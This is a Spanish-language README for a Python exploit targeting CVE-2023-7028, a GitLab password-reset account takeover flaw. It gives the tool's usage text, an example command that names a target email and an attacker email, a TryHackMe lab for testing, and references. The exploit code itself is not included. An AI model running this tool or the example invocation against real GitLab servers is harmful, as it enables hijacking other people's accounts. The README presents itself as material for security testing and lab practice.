CVE-2023-7028

⚠️ Este exploit es para fines defensivos y debe ser utilizado por profesionales de ciberseguridad para identificar posibles servidores GitLab vulnerables.

Descripción

CVE-2023-7028 - Toma de control de cuenta mediante restablecimiento de contraseña sin interacción del usuario en GitLab Community Edition y Enterprise Edition

Productos y versiones afectados:

• CVSS: 10.0
• Explotado activamente: SÍ
• Parche: SÍ
• Mitigación: NO

Ayuda

usage: CVE-2023-7028.py [-h] -u URL -t TARGET -a ATTACKER

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     GitLab URL (HTTP or HTTPS)
  -t TARGET, --target TARGET
                        Target email address
  -a ATTACKER, --attacker ATTACKER
                        Attacker email address

Ejemplo: python CVE-2023-7028.py -u https://gitlab.example.com -t [email protected] -a [email protected]

Laboratorio

Puedes usar la sala de Try Hack Me GitLab CVE-2023-7028 para probar el exploit, ya que ejecuta una versión vulnerable afectada por CVE-2023-7028.

Visión de los servidores GitLab según SHADOWSERVER:

Referencias

• GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6
• Over 5,300 GitLab servers exposed to zero-click account takeover attacks
• Shadowserver GitLab Statistics
• CVE-2023-7028 - AttackerKB